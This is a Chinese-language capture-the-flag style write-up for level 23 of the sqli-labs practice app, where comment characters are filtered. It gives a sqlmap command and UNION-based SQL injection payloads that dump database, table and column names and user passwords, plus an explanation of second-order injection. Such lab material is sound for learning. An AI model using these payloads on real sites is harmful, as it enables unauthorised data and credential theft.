sqli-labs第23关注入字符做了正则表达式的过滤（二次注入）

第二十三关

sqlmap方法
python sqlmap.py -u "http://127.0.0.1:8086/sqli/Less-23/?id=1" --prefix "'" --suffix ";%00" --technique U --dbs //就是简单加了个闭合和注释
一、源码分析
发现将#和–都进行了过滤替换，替换成了空格
咱们再来看看闭合点

闭合点是一个简单的单引号
这样就很简单了然后我们可以将注释换成单引号来进行注释
二、判断注入点
我用一个特殊的字符进行替换成注释符 ;%00==#和–+
我们有两种方法

?id=1' and '1'='1 正常

?id=1' and '1'='2 错误

由于第一种我们不能进行判断字段数，所以我们用第一种，不过我会把payload给出来
我们这次判断列数直接上联合查询

?id=-1' union select 1,2,3 and '1' = '1

三、构造payload
1.爆库

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1' = '1

2.爆表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3 and '1' = '1

3.爆列

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3 and '1' = '1

4.爆数据

?id=-1' union select 1,(select group_concat(username,password) from users),3 and '1' = '1

总结
有一种嵌套查询的感觉了

二次注入：攻击者构造的恶意数据存储在数据库后，恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理，但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中，当Web程序调用存储在数据库中的恶意数据并执行SQL查询时，就发生了SQL二次注入。
　　二次注入，可以概括为以下两步：
第一步：插入恶意数据
进行数据库插入数据时，对其中的特殊字符进行了转义处理，在写入数据库的时候又保留了原来的数据。
第二步：引用恶意数据
开发者默认存入数据库的数据都是安全的，在进行查询时，直接从数据库中取出恶意数据，没有进行进一步的检验的处理。

第二种方法

将;%00作为注释符 我们可以把;%00
1.判断注入点

?id=1' and 1=1 ;%00 //回显正常
?id=1' and 1=2 ;%00 //回显错误

2.判断列数

?id=1' order by 3;%00 

3.构造payload
1.爆库

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3;%00 

2.爆表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3;%00 

3.爆列

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3;%00 

4.爆数据

?id=-1' union select 1,(select group_concat(username,password) from users),3;%00